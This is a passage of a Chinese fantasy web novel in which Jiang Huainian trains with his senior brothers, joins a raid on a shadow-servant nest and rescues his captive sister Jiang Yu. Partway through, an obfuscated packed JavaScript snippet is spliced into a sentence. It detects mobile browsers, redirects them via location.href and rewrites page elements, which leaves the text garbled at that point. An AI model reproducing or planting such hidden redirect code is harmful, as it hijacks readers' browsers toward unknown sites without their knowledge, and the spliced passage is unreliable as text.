冰是刺骨的寒,火是灼人的热,而宋听澜的力量,像春日细雨,像初生草木,柔和却坚韧,所过之处,那些因力量冲撞而产生的滞涩与痛楚,竟一点点化开消散。 更奇妙的是,这股木系力量似乎有种奇特的调和作用。 它像一条柔软的纽带,在冰与火之间穿梭、缠绕,让原本激烈对抗的两股力量渐渐平息,甚至开始尝试着彼此接触融合。 不知过了多久,宋听澜收回手。 江淮年睁开眼,只觉得通体舒畅,连日来积压的疲惫与焦躁一扫而空,体内冰火之力也温顺了许多,不再像之前那样时时躁动。 “感觉如何?”宋听澜问,额角有细密的汗珠,显然刚才的疏导消耗不小。 “好多了。”江淮年真心实意地道谢,“多谢师兄。” “举手之劳。”宋听澜笑笑,“你体内双系相冲,日后每月可找我疏导一次,如此可免反噬之危。” 江淮年郑重一礼:“有劳师兄。” 从那天起,宋听澜便正式加入了江淮年的修行。 与裴衍的严苛、陆时忆的跳脱不同,宋听澜的指导更侧重于调理与引导。 他会教江淮年如何通过调整呼吸来平复心绪,如何通过特定姿势来疏导力量,甚至还会讲解一些简单的药理知识。 哪些草药可清心火,哪些可祛寒毒,哪些可固本培元。 “木系之力,在于生与愈。”某次调息后,宋听澜这样解释,“生生不息,愈愈不绝。你的冰火双系太过暴烈,需以木之柔和来调和,方能长久。” 江淮年认真听着,将这些知识一一记下。 他发现,宋听澜虽然总是面带笑容,说话温和,但教导时却一丝不苟,每一个细节都要求精准到位。 若江淮年稍有懈怠或失误,宋听澜不会像裴衍那样冷言冷语,也不会像陆时忆那样插科打诨,只会微笑着重复那个动作或口诀,一遍,两遍,三遍,直到江淮年做到完美为止。 这种温和的坚持,某种程度上比裴衍的严厉更让人压力倍增。 三日后,裴衍和时聿如期归来。 二人皆是一身风尘,衣角沾着泥渍,脸上带着长途跋涉后的疲惫。 裴衍的棕发有些凌乱,几缕碎发垂在额前,遮住了那双总是半眯的眼睛。 时聿的墨镜依旧稳稳架在鼻梁上,但纯黑劲装上多了几道划痕,像是被利器所割。 萧予在书房听他们汇报,门关着,听不清具体内容。 但从二人凝重的神色来看,此行恐怕不太顺利。 晚膳时,气氛明显沉闷了许多。陆时忆几次想活跃气氛,都被裴衍一个眼神堵了回去。 时聿依旧沉默,只是吃饭的速度比往常快了些。宋听澜倒是神色如常,还夹了块红烧肉放到江淮年碗里:“小师弟正长身体,多吃些。” 江淮年道谢,埋头吃饭。 他能感觉到,有什么事情正在发生,或者即将发生。 果然,膳后萧予将五人全部召至书房。老人坐在太师椅上,面前摊开那卷地图,但这次上面用朱笔画了一个醒目的红圈,旁边还标注了几个扭曲的符号。 “北境之事,已有眉目。”萧予开门见山,手指点在那个红圈上,“据裴衍、时聿探查,影仆确实在那里建立了据点,且数量远超预估。更重要的是……” 他顿了顿,抬眼看向五人:“有迹象表明,那里可能囚禁着容器。” 容器。 这个词像一根冰冷的针,扎进江淮年心脏。 “不止一个?”陆时忆收起嬉笑,神色严肃。 “至少三个。”裴衍接话,声音低沉,“我们潜入据点外围,感应到三股不同的异质波动。虽被刻意遮掩,但那种与影仆同源、却又更精纯的气息,错不了。” 时聿点头补充:“据点守卫森严,有高阶影仆巡逻,我们未能深入,但可确定容器还活着。波动虽弱,却持续存在。” 江淮年感到喉咙发干。 他张了张嘴,想问那些容器里是否有江妤,却又不敢问。 怕问出来,得到的答案是否定的,也怕是肯定的。 若江妤真的在那里,意味着她正身处最危险的魔窟。 “师父,我们何时出发?”宋听澜问,脸上笑容依旧,但眼底已无丝毫暖意。 萧予没有立刻回答,而是看向江淮年:“淮年,你修行时日尚短,本不该让你涉险。 但此次情况特殊,你体内的冰火双系,或许能成为破局关键。” 江淮年站起身,声音因激动而微颤:“弟子愿往!” “莫急。”萧予抬手示意他坐下,“你的力量尚不稳定,此去凶险,需有万全准备。三日后出发,这几日,你们五人需加强合练,尤其是配合。” 接下来的三日,静园的训练强度骤然提升。 裴衍负责统筹全局。他将五人分成两组:裴衍、时聿、宋听澜负责正面突破;陆时忆和江淮年负责远程策应和干扰。 “陆时忆,你以速度见长,但威力不足。”裴衍在地面上画出简易的布防图,“届时你需游走外围,以电击干扰影仆行动,为突击组创造机会。记住,不求杀伤,只求牵制。” 陆时忆难得正经,点头应下:“明白。” “江淮年。”裴衍看向他,目光锐利,“你的冰火双系尚未成熟,但正因如此,反可能出奇制胜。影仆属阴邪之物,畏火惧光,你的火焰可作威慑;冰系则可迟缓其行动。但切记,你的首要任务是自保,不可贸然深入。” 江淮年用力点头:“是。” “宋听澜。”裴衍转向白衣少年,“木系主控场。到时你需在战场布下藤蔓网阵,困住影仆,同时以木灵之力为众人疗伤。记住,你的位置最关键,一旦你倒下,整个阵型都会崩溃。” 宋听澜微笑颔首:“放心,我会守住阵眼。” “时聿,你负责侦查与突袭。开战前,潜入据点摸清容器位置;开战后,你需在最短时间内突破防线,救出容器。记住,你的任务最重,也最险,一旦暴露,立刻撤退,不可恋战。” 时聿推了推墨镜,简洁吐出一个字:“好。” 分工明确后,便是反复的演练。五人移步至静园后方的训练场。 一片被高大围墙圈起的空地,地面铺着细沙,四周立着木人桩和箭靶。 第一场合练,堪称灾难。 裴衍下令进攻,陆时忆率先冲出,掌心电光闪烁,却因太过兴奋而失了准头,一道电击偏出三丈,打在围墙根上,溅起一片沙石。 时聿趁机潜入阴影,但宋听澜布下的藤蔓网阵却慢了一拍,未能及时封住敌人退路。 江淮年更是手忙脚乱,冰锥与火球齐发,却因操控不精,差点误伤从侧翼突进的裴衍。 “停!”裴衍脸色铁青,“你们在过家家吗?” 陆时忆挠头讪笑:“失误,失误。” 时聿从阴影中现身,墨镜后的眉头微皱。江淮年则羞愧地低下头,盯着自己因过度用力而微微颤抖的双手。 “再来!”裴衍声音冷硬,“今日练不好,谁也不许休息!” 第二场,第三场,第四场……从日出到日落,五人不知演练了多少遍。汗水浸透衣衫,异能几近枯竭,裴衍却丝毫没有喊停的意思。 只是对江淮年来说格外痛苦,双系同出本就极耗心神,连续高强度施放更是让他头疼欲裂,好几次眼前发黑,几乎昏厥。但他咬紧牙关,一次次凝冰聚火,一次次调整角度,一次次逼迫自己做到更快、更准、更稳。 夕阳西斜时,裴衍终于喊停。 五人瘫坐在沙地上,大口喘息,连说话的力气都没有了。 “今日到此为止。”裴衍站起身,虽然也是满身大汗,但脊背依然挺直,“回去调息,明早继续。” 江淮年挣扎着爬起来,拖着灌铅般的双腿走回房间。 他连洗漱的力气都没有,直接倒在床上,几乎是瞬间便陷入了昏睡。 梦中,他又看见了江妤。 她看着他,嘴唇开合,像在呼喊什么,但他听不见。 他想冲过去救她,脚下却忽然裂开深渊,无数影仆从黑暗中涌出,抓住他的脚踝,将他往下拖…… 江淮年猛地惊醒,冷汗浸透衣衫。 窗外月色惨白,远处传来夜枭的啼叫。他坐起身,抹了把脸,指尖触到一片湿冷。 不能失败。 他对自己说。 绝对不能。 接下来的两日,训练强度有增无减。但五人之间的默契,却在一次次失败、一次次磨合中,悄然生长。 最后一次合练结束。 几人围坐一圈,身上皆是大汗淋漓,但眼中都有了光。 “明日寅时出发。”裴衍言简意赅,“各自准备,不可懈怠。” 众人点头,各自散去。 江淮年回到房间,开始整理行装。 换洗衣物、干粮、水囊、伤药、萧予给的几枚应急丹药。最后,他将江妤的贝壳胸针和那张画着海的画纸小心收进内袋,贴在胸口。 收拾妥当,他坐在床边,看着窗外渐沉的夜色。明日,他将真正踏入那个光怪陆离的世界,与影仆交战,寻找被囚禁的容器。 恐惧吗? 当然恐惧。 但更多的是一种决意。 无论前方是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119449|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他都要走下去, 都要把江妤带回来。 敲门声响起,是陆时忆。 他拎着一个小布袋进来,脸上挂着惯常的笑容,但眼底有一丝不易察觉的担忧。 “给,好东西。”陆时忆把布袋塞给江淮年,“雷光符,我昨晚熬夜画的。遇到危险就扔出去,能炸开一片电光,干扰影仆视线。虽然杀伤力不大,但逃命应该够用。” 江淮年接过,布袋沉甸甸的,里面至少有十几张符纸:“谢谢师兄。” “客气啥。”陆时忆摆摆手,又压低声音,“明天跟紧我,别乱跑。 裴衍那家伙虽然嘴上不说,但战术安排都是把你放在最安全的位置。你也别觉得委屈,现在这水平,能自保不拖后腿就是胜利。” 江淮年点头。 他知道自己实力最弱,能做的有限。 但有限也好过无力,他至少不再是那个雨夜中,只能眼睁睁看着妹妹被夺走的少年了。 陆时忆走后不久,宋听澜也来了。 他提着一个药箱,从里面取出几个小瓷瓶:“这是清心丹,可宁神静气,压制你体内火毒;这是寒玉膏,专治灼伤;这是生机散,内服外敷皆可,疗伤效果不错。” 江淮年一一接过,郑重道谢。 宋听澜微笑:“同门之间,不必言谢。只是明日切记,无论如何,保全自身为要。你活着,才有希望救你妹妹。” 这话说到了江淮年心坎上。 他用力点头:“我明白。” 宋听澜拍拍他的肩,转身离去。 走到门口时,他忽然回头,脸上的笑容淡了几分,灰眸在烛光中显得格外幽深:“小师弟,黑暗之中,最可怕的往往不是敌人,而是人心。明日无论看到什么,听到什么,都需保持清醒,莫要被表象所惑。” 这话说得意味深长,江淮年还想再问,宋听澜却已掩门离去。 夜深了。 江淮年吹灭烛火,躺在床上,却毫无睡意。 “淮年,”老人送别时的话犹在耳边,“此去凶险,但也是你必经之路。记住,力量不是目的,而是手段。你为何而战,比如何而战更重要。” 为何而战? 为了江妤。 为了那个雨夜被夺走的妹妹。 为了不再经历那种无能为力的绝望。 江淮年握紧胸口的贝壳胸针,闭上了眼睛。 寅时,天未亮,五人已在庭院集合。裴衍与萧予低声交谈几句,而后转身,目光扫过众人:“出发。” 几人一路向北。裴衍领队,时聿在前侦查,宋听澜与陆时忆分居两侧,江淮年被护在中央。他们走得很快,却不发出太大声响,显然都经过严格的潜行训练。 起初是平原,而后是丘陵,最后进入一片茂密的森林。这里的树木异常高大,树冠遮天蔽日,即使白昼也光线昏暗。 空气中弥漫着潮湿的腐叶气味,偶尔传来几声怪异的鸟鸣,在寂静中显得格外刺耳。 “这里就是暗影之森。”裴衍压低声音,“影仆的据点就在森林深处。从现在开始,保持警惕,任何风吹草动都不能放过。” 众人点头,脚步放得更轻。时聿身形一闪,没入前方树影,消失不见。 片刻后,他从前方的阴影中浮现,打了个手势。 安全。 如此前行了约莫两个时辰,森林越发幽深,光线几乎完全被遮蔽,只能勉强看清脚下。 空气越来越冷,呼出的气息凝成白雾。 “小心。”裴衍忽然停下,抬手示意众人止步。 前方不远处,一棵巨树的树干上,附着着一团黏稠的、蠕动着的黑影。那黑影没有固定形状,像一滩融化的沥青,表面不时泛起涟漪,散发出令人作呕的腐败气息。 影仆。 而且是低阶尚未完全成形的影仆。 “时聿。”裴衍低声道。 时聿点头,身形再次没入阴影。 下一秒,那团黑影忽然剧烈颤抖,仿佛被无形的手从内部撕裂,化作一缕黑烟消散在空气中。 整个过程悄无声息,快得江淮年几乎没看清时聿是如何出手的。 “继续前进。” 越往深处走,遇到的影仆越多。 有些附着在树干上,有些潜伏在落叶下,有些甚至伪装成树影,稍不留神就会中招。 时聿像一道真正的影子,在林中穿梭,所过之处,影仆纷纷溃散。 裴衍则时刻关注着周围环境,不时以土系异能加固脚下地面,或竖起土墙挡住突然袭来的黑影。 陆时忆和宋听澜也没闲着。陆时忆的电击精准地点杀漏网之鱼,宋听澜则沿途布下细小的藤蔓,一旦有影仆靠近便会触发警报。 江淮年被护在中央,几乎没机会出手。他只能紧紧跟随,努力记住每个人的动作,学习他们应对影仆的方式。 忽然,走在最前的时聿打了个停止的手势。五人立刻隐蔽到树后,屏息凝神。 前方树林豁然开朗,露出一片空地。空地中央,矗立着一座扭曲的建筑。 那似乎是由无数黑色藤蔓与腐木纠缠而成的巢穴,表面布满了脉动的、血管般的纹路。 巢穴入口处,两个高大的黑影正在巡逻,它们身形凝实,隐约能看出人形轮廓,但五官模糊,只有两团猩红的光在头部位置闪烁。 高阶影仆。而且不止两个。 透过巢穴的缝隙,能看见里面还有更多黑影在蠕动。 “到了。”裴衍的声音压得极低,“时聿,摸清情况。陆时忆,准备干扰。宋听澜,布阵。江淮年,待在我身边,没我命令不许动。” 时聿点头,身形如水般融入阴影,朝巢穴摸去。 陆时忆掌心电光隐现,宋听澜则闭上眼,双手按在地面,细小的藤蔓如蛛网般向四周蔓延。 江淮年握紧拳头,掌心沁出冷汗。他能感觉到,巢穴深处传来某种令人心悸的波动。 那是与影仆同源,却更加精纯、更加黑暗的气息。 影主。 即使未曾谋面,他也确定,那里面绝对有影主级别的存在。 时间一分一秒过去。 每一秒都像一年那么漫长。 江淮年能听见自己心跳的声音,咚咚,咚咚,撞击着耳膜。 忽然,巢穴深处传来一声凄厉的尖啸。 时聿暴露了。 裴衍脸色一沉:“行动!” 陆时忆率先冲出,双掌齐推,两道刺目的电光射向巢穴入口。 那两个高阶影仆被电光击中,发出嘶哑的咆哮,动作明显一滞。 就是现在。 宋听澜睁眼,双手猛然抬起, 无数粗壮的藤蔓破土而出,如活物般缠向影仆,瞬间将入口封死。 “走。”裴衍率先冲向巢穴。 江淮年紧随其后,心跳如雷。 前方,黑暗正张开巨口,等待他们的,将是一场恶战。 他终于要直面那个夺走妹妹的黑暗世界了。 7. 糟糕,一见钟情了 时聿的身影从巢穴入口处的阴影中跌出,动作罕见地带上了踉跄。 他单手撑地,墨镜歪斜,露出底下那双冷灰色的眼睛。瞳孔深处倒映着巢穴深处汹涌而来的黑暗。 “里面……不止三个。”他喘息着,声音因急促而略显嘶哑,“至少五个容器,守卫的高阶影仆超过二十,还有……” 话音未落,巢穴深处传来震耳欲聋的咆哮。那声音不似人类,更像是无数冤魂的尖啸糅合在一起,刺得人耳膜生疼。紧接着,入口处被宋听澜藤蔓封堵的缺口猛烈震颤,黑雾从缝隙中喷涌而出,藤蔓以肉眼可见的速度枯萎、焦黑。 “退!”裴衍厉喝,双掌猛地按向地面。 土石翻涌,一面厚重的土墙拔地而起,挡在众人与巢穴之间。几乎就在同时,藤蔓屏障彻底崩碎,数道黑影如离弦之箭般射出,狠狠撞在土墙上! 轰——! 土墙剧烈震颤,表面龟裂出蛛网般的纹路。裴衍闷哼一声,嘴角溢出一缕血丝,但双手依然死死按在地面,土黄色光芒自掌心涌出,不断修复着墙体的裂缝。 “宋听澜,治疗!”陆时忆吼道,双掌电光爆闪,数道电弧呈扇形射出,逼退了几只试图绕墙而来的影仆。 宋听澜已闪至裴衍身后,右手虚按在他背心,柔和的绿色光芒涌入裴衍体内。与此同时,他左手一挥,更多的藤蔓破土而出,在土墙外围构筑第二道防线。 “江淮年,火!”裴衍咬牙道,“对准缺口,用你最强的火焰!” 江淮年心脏狂跳。他从未在实战中施展过异能,更别说“最强的火焰”。但此刻没有时间犹豫,他深吸一口气,将所有杂念压下,全力催动深处的火意。 热流奔涌,从心脏窜向四肢百骸,最后汇聚于右掌。掌心温度急剧攀升,皮肤泛红,一团橘红色的火球缓缓成形。火球不大,只有拳头大小,但内部温度极高,边缘的空气都因高温而扭曲。 “去!”江淮年低吼,将火球掷向土墙缺口。 火球划过一道弧线,精准落入影仆最密集的区域。下一秒, 轰隆! 剧烈的爆炸。 橘红色的火焰夹杂着冲击波向四周扩散,高温将数只影仆瞬间汽化,更多的影仆则被掀飞出去,身体表面燃起不灭的火焰,发出凄厉的嘶嚎。 这一击的威力远超预期,连江淮年自己都愣住了。他低头看着自己的右手,掌心还残留着灼热感,皮肤微微发红,但并未受伤。 “干得漂亮!”陆时忆吹了声口哨,趁机又补了几道电击,将几只受伤的影仆彻底击溃。 但危机并未解除。巢穴深处,那令人心悸的黑暗波动越来越强。土墙后的影仆不再盲目冲锋,而是开始有组织地围攻,它们分成数股,从不同方向冲击藤蔓防线,试图找出薄弱点。 “它们在消耗我们的力量。”时聿已调整好呼吸,重新戴正墨镜,“必须速战速决。” 裴衍点头,撤去土墙。长时间维持如此大范围的防御,对他是极大的负担。他抹去嘴角血迹:“时聿,你潜进去,确认容器位置和状态。陆时忆、江淮年,你们跟我正面牵制。宋听澜,控场加治疗,注意保存力量。” 众人没有任何异议,立刻行动。 时聿身形一晃,再次融入阴影,如鬼魅般绕过影仆的防线,悄无声息地滑入巢穴深处。 与此同时,裴衍、陆时忆、江淮年三人呈三角阵型前压。裴衍居中,双掌拍击地面,一道道土刺拔地而起,精准地刺穿影仆的躯体。陆时忆游走在侧翼,电光如灵蛇般穿梭,专挑影仆关节、眼睛等脆弱部位攻击。 江淮年则跟在裴衍身后,以冰火之力辅助。 他的攻击起初还有些生疏,几次差点误伤队友。但随着战斗进行,身体逐渐适应了节奏,冰与火的切换越发流畅。更让他惊喜的是,在激烈的战斗中,体内两股力量似乎达成了某种微妙的平衡,不再像之前那样激烈冲撞,反而隐隐有相辅相成的趋势。 宋听澜留在后方,他的任务最重也最关键。藤蔓如活物般在战场上游走,时而捆缚,时而绞杀,时而构筑临时掩体。 他的脸色逐渐苍白,额角渗出细密汗珠,但双手依然稳定,绿光源源不断涌向受伤的队友,修复着他们的伤势。 战斗进入白热化。影仆的数量远超预期,且它们似乎受到巢穴深处某种力量的加持,比寻常高阶影仆更难对付。它们的身体更加凝实,攻击更加迅猛,甚至开始施展一些简单的黑暗术法。 黑雾凝聚成箭矢,腐蚀藤蔓,阴影化作触手,试图缠绕众人的脚踝。 “这样下去不行!”陆时忆喘息道,他胸口被一道黑雾箭矢擦过,留下一道焦黑的伤口,虽不深,但火辣辣地疼,“它们的数量太多了!” “坚持住,”裴衍沉声道,他身上的伤更多,左肩被影仆的利爪撕开一道口子,鲜血浸透了衣衫,但他依旧站得笔挺,土系异能不要命般倾泻,“时聿马上就会传回消息!” 话音刚落,巢穴深处传来一声尖锐的哨响。 那是时聿约定的信号。 “找到了!”裴衍精神一振,“宋听澜,开一条路!陆时忆、江淮年,跟我冲进去!” 宋听澜咬牙,双手猛地合十。所有藤蔓骤然收缩,然后在巢穴入口处疯狂生长、纠缠,硬生生挤出一条仅容一人通过的狭窄通道。通道两侧的藤蔓不断被影仆攻击,碎屑纷飞,但宋听澜拼尽全力维持着通道的完整。 “走!”裴衍率先冲入通道,陆时忆和江淮年紧随其后。 通道不长,但每一步都险象环生。影仆从两侧疯狂涌来,利爪和黑雾几乎贴着他们的身体擦过。 裴衍在前方开路,土石不断隆起、塌陷,将扑来的影仆砸碎或掩埋。陆时忆电光连闪,击退从侧翼偷袭的敌人。江淮年则负责殿后,冰火齐出,将试图从后方合围的影仆暂时逼退。 ……仿佛过了漫长的一个世纪,三人终于冲出通道,踏入巢穴内部。 这里的景象比外面更加骇人。 巢穴内部空间巨大,穹顶高悬,四壁爬满了蠕动的黑色藤蔓,藤蔓表面布满了猩红的、脉动着的血管状纹路,像一颗巨大的、活着的心脏。 地面铺满了黏稠的黑色物质,踩上去发出咕叽咕叽的声响,散发出浓烈的腐败气味。 而最触目惊心的,是悬挂在巢穴中央的几个“容器”。 那是人形生物,或者说,曾经是人。 他们被黑色的藤蔓缠绕、包裹,倒吊在半空中,藤蔓刺入他们的皮肤,与血管相连,正源源不断地抽取着什么。 他们的身体干瘪苍白,像被吸干了所有生命力,只有胸口微弱的起伏证明他们还活着。 江淮年的目光瞬间锁定了其中一人。 淡蓝色的头发,即使沾满污垢也依然醒目。苍白的脸颊,紧闭的双眼,干裂的嘴唇。还有那身熟悉的、洗得发白的校服外套。 江妤。 他的妹妹。 血液瞬间冲上头顶,耳中嗡鸣一片。 江淮年几乎要不顾一切地冲过去,但裴衍死死按住了他的肩膀。 “冷静!”裴衍的声音像一盆冰水浇下,“你看清楚!” 江淮年强迫自己定睛细看。缠绕江妤的藤蔓,比其他四人要细一些,颜色也更浅,抽取生命力的速度似乎也慢一些。 更重要的是,江妤的眉心处,隐隐有一层极淡的蓝光在闪烁,抵抗着藤蔓的侵蚀。 那是……? 江淮年有印象,萧予曾说过多种元素,自己既然有异能,那说明江妤也有。 而江妤的就是……水系的自我保护? “她还有意识,在抵抗。”时聿的声音从阴影中传来,他不知何时已来到三人身侧,墨镜后的目光扫过几个容器,“但时间不多了。藤蔓正在同化他们的生命力,一旦完成,他们就会彻底变成影仆的养料。” “怎么救?”陆时忆问,他的电光在掌心噼啪作响,随时准备攻击。 “斩断藤蔓,但必须同时斩断。”时聿指向穹顶,那里有无数藤蔓垂落,连接着几个容器,“这些藤蔓同根同源,如果只斩断一根,其他藤蔓会立刻将生命力输送过来,加速同化。必须几根同时斩断,切断它们与源头的联系。” “同时斩断?”陆时忆皱眉,“我们只有五个人,而且有一根藤蔓在最高处,够不着。” “我可以。”江淮年忽然开口,声音因激动而微微发颤,“用火。” 裴衍看了他一眼,又看向那根最高处的藤蔓。 它位于巢穴穹顶正中央,距离地面至少十丈,周围没有任何借力点。寻常人根本不可能触及。 “你的火焰,能烧到那么高?”陆时忆怀疑。 “可以。”江淮年咬牙,“只要你们给我争取时间。” 他没有解释。 实际上,连他自己都不确定是否能做到。但这是唯一的机会,他必须试一试。 裴衍沉默了两秒,然后点头:“好。时聿,你负责左一;陆时忆,右一;我负责左二和右二。江淮年,最高处的那根交给你。宋听澜会在外面牵制影仆,我们只有一次机会。” 众人点头,各自就位。 时聿潜回阴影,准备从死角突袭。陆时忆和裴衍分别向两侧移动,寻找最佳攻击角度。 江淮年则留在原地,仰头盯着那根最高的藤蔓,开始全力凝聚火焰。 这一次,他不止调动了火意,连冰息也一并催动。冰与火在体内激烈碰撞,带来撕裂般的痛楚,但他强忍着,将两股力量强行挤压、融合。掌心温度急剧攀升,皮肤开始龟裂、渗血,但一团远比之前炽烈、明亮的火球正在成形。 火球中心是炽白,边缘是橘红,最外围甚至泛起淡淡的冰蓝。那是冰息被强行融入后产生的异变。火球越来越大,越来越亮,将整个巢穴映照得如同白昼。 影仆们似乎感应到了威胁,开始更加疯狂地冲击宋听澜构筑的防线。藤蔓不断碎裂,又不断再生,宋听澜的脸色已苍白如纸,嘴角溢出鲜血,但他依然死死支撑着。 “就是现在!” 时聿率先出手,他从阴影中跃出,双手各握一柄漆黑如墨的短刃,刃身划过两道幽暗的弧线,精准斩向左一藤蔓的根部! 几乎同时,陆时忆双掌齐推,两道电光如雷龙般轰向右一藤蔓! 裴衍则双掌按地,两根尖锐的土刺拔地而起,刺向左二和右二藤蔓! 三根藤蔓应声而断!黑色的汁液喷溅而出,发出腐蚀般的嗤嗤声。被缠绕的“容器”们身体剧烈抽搐,藤蔓如触电般回缩。 不过多时,只剩下最高处那根,以及缠绕江妤的那根。 江淮年眼中只剩下那根藤蔓。他咬破舌尖,剧痛让他精神一振,用尽全身力气将手中的融合火球掷出! 火球离手的瞬间,他整个人虚脱般跪倒在地,双掌血肉模糊,经脉如火烧般剧痛。但他顾不上这些,眼睛死死盯着火球飞行的轨迹。 火球在空中划出一道耀眼的弧线,像一颗逆行的流星,直冲穹顶。所过之处,空气扭曲,热浪翻滚,连那些蠕动的黑色藤蔓都畏惧地向两侧蜷缩。 然后,命中! 轰——!!! 震耳欲聋的爆炸。 炽白的光芒瞬间吞没了那根藤蔓,高温将它从根部熔断,黑色的汁液尚未喷溅就被蒸发。爆炸的冲击波向下扩散,将整个巢穴震得簌簌发抖,碎石和灰屑簌簌落下。 最后两根藤蔓,断了。 缠绕江妤的藤蔓失去了源头支撑,迅速枯萎脱落。 少女的身体从半空中坠落,被眼疾手快的时聿接住,轻巧落地。 成功了。 但危机还未结束。藤蔓被斩断的瞬间,巢穴深处传来一声愤怒到极点的咆哮。整个巢穴开始剧烈震动,墙壁上的黑色藤蔓疯狂舞动,地面裂开无数缝隙,黏稠的黑色物质如泉水般涌出。 “走!”裴衍一把拽起虚脱的江淮年,扛在肩上,“宋听澜撑不住了!” 众人向外冲去。宋听澜构筑的通道已岌岌可危,藤蔓大面积枯萎,影仆如潮水般涌来。陆时忆和时聿一左一右开路,电光与黑影交织,硬生生杀出一条血路。 冲出巢穴的瞬间,身后传来震天巨响。整个巢穴开始坍塌,黑色藤蔓如垂死的巨蛇般疯狂扭动,最终彻底崩碎,化作漫天黑雾消散在森林深处。 宋听澜瘫倒在地,大口喘息,鲜血不断从嘴角溢出。陆时忆和时聿也挂了彩,衣衫破碎,伤痕累累。裴衍将江淮年放下,自己则单膝跪地,剧烈咳嗽,咳出的血沫里带着黑色的杂质。 他们互相搀扶着,跌跌撞撞地远离那片废墟,直到确认安全,才终于停下脚步,瘫坐在一棵巨树下。 时聿将江妤轻轻放在地上。少女依旧昏迷,但眉心的蓝光已经稳定下来,呼吸也逐渐平稳。江淮年挣扎着爬过去,颤抖着手探了探她的鼻息,温热的气流拂过指尖。 还活着。 紧绷的神经骤然松弛,巨大的疲惫与后怕如潮水般涌来。 江淮年瘫坐在地,看着妹妹安然沉睡的脸,眼泪毫无征兆地滚落下来。他咬紧牙关,不让自己发出声音,但肩膀却在不住颤抖。 一只手按在他肩上。是裴衍,他脸色依旧苍白,但眼神难得温和:“她没事。水系异能者在自我保护,那些藤蔓没能完全侵蚀她。” 江淮年点头,想说谢谢,却发不出声音。 陆时忆一瘸一拐地走过来,蹲下身检查江妤的情况,嘴里嘟囔着:“啧,这丫头命真大。不过也是,能被选作容器的,哪个不是天赋异禀……” 他忽然顿住,盯着江妤的脸看了几秒,然后猛地抬起头,脸上露出见了鬼的表情:“江淮年,这真是你妹妹?” 江淮年抹了把脸,哑声道:“是。” “亲妹妹?” “……是。” 陆时忆张了张嘴,看看江妤,又看看江淮年,最后憋出一句:“你们家基因……挺特别啊。” 江淮年红发异瞳,江妤淡蓝发蓝眸,两人五官轮廓虽有几分相似,但发色眸色迥异,任谁第一眼看去都不会认为是亲兄妹。 江淮年没解释,只是轻轻握住江妤的手。少女的手指冰凉,但掌心还有一丝温度。他握得很紧,仿佛一松手她就会消失。 宋听澜调息片刻,勉强恢复了些力气,开始为众人疗伤。柔和的绿光笼罩下来,伤口以肉眼可见的速度愈合,被黑暗侵蚀的杂质也被一点点逼出体外。但消耗过度的心神和枯竭的异能,不是一时半刻能恢复的。 “必须尽快离开这里。”时聿站起身,墨镜后的目光扫视四周,“巢穴虽然毁了,但残余的影仆很可能还会聚集。” 裴衍点头,强撑着站起:“我还能走。陆时忆,你负责背江淮年。时聿,你背宋听澜。江妤……我来背。” “我来吧。”陆时忆忽然道,他脸上还带着伤,但眼神亮得出奇,“我伤得最轻,而且雷系速度最快,万一有情况,我能第一时间带她撤离。” 裴衍看了他一眼,没多问,点头:“好。那江淮年交给我。” 众人不再耽搁,简单处理伤口后立刻启程。陆时忆小心翼翼地将江妤背起,动作轻柔得不像他平时的作风。江淮年被裴衍搀扶着,一步一挪地跟在后面,眼睛却始终没离开过妹妹。 返程的路比来时更加艰难。所有人都精疲力尽,身上带伤,还要时刻警惕可能出现的影仆。森林仿佛也变得诡异起来,树木的阴影扭曲蠕动,风声里夹杂着若有若无的呜咽,连温度都低了许多。 但或许是巢穴被毁的缘故,一路竟出奇地顺利,没有再遇到影仆的袭击。黄昏时分,五人终于走出暗影之森,回到了相对安全的丘陵地带。 裴衍找了处背风的山坳,决定在此休整一夜。宋听澜强撑着布下简单的警戒藤蔓,然后便再也支撑不住,昏睡过去。时聿靠在岩壁上,墨镜后的眼睛紧闭,呼吸微弱。裴衍则盘膝调息,脸色依旧苍白,但气息已平稳许多。 陆时忆将江妤小心地放在铺了干草的地面上,又脱下自己的外衫给她盖上。做完这一切,他蹲在江妤身边,盯着她的脸看了好一会儿,才挠挠头,走回火堆旁坐下。 江淮年也累极了,但他强撑着不肯睡,守在江妤身边,每隔一会儿就要探探她的鼻息,确认她还活着。火光跳跃,映在少女苍白的脸上,长长的睫毛在眼睑投下淡淡的阴影。她睡得很沉,眉心那层蓝光已完全隐去,呼吸平稳悠长。 夜深了。山林寂静,只有火堆偶尔发出的噼啪声。江淮年终于支撑不住,眼皮越来越沉,最后头一歪,靠在岩壁上睡了过去。 他做了个梦。梦里江妤醒了,笑着叫他哥哥,说她想吃糖葫芦。 他跑去买,跑啊跑啊,却怎么也找不到卖糖葫芦的摊子。一回头,江妤不见了,只有无尽的黑暗吞噬而来…… 江淮年猛地惊醒,冷汗涔涔。天已蒙蒙亮,晨雾在林间流淌。他第一时间看向身侧,江妤还躺在那儿,呼吸平稳,没有消失。 松一口气的同时,他注意到陆时忆不知何时已醒了,正坐在江妤另一侧,托着下巴,目不转睛地看着她。头发在晨光中泛着柔和的光泽,少年脸上没有了平日的嬉笑,取而代之的是一种近乎虔诚的专注。 江淮年愣了愣,还没想明白陆时忆这是唱的哪出,江妤的睫毛忽然颤了颤。 她醒了。 淡蓝色的眸子缓缓睁开,起初还有些茫然,焦距涣散。她眨了眨眼,视线逐渐清晰,首先映入眼帘的是陌生的岩壁,然后是跳动的篝火,最后是两张凑近的脸。一张红发异瞳,满脸焦急,是哥哥;另一张深蓝短发,眼睛亮得吓人,不认识。 “哥……?”江妤开口,声音嘶哑干涩。 “我在。”江淮年连忙握住她的手,声音也有些发颤,“没事了,都过去了,你安全了。” 江妤看着他,又看看四周,记忆如潮水般涌回。雨夜,怪物,黑暗,还有那些刺入皮肤的藤蔓……她身体一颤,下意识地蜷缩起来。 “别怕。”江淮年将她轻轻揽入怀中,像小时候那样拍着她的背,“哥哥在这儿,那些东西再也不会伤害你了。” 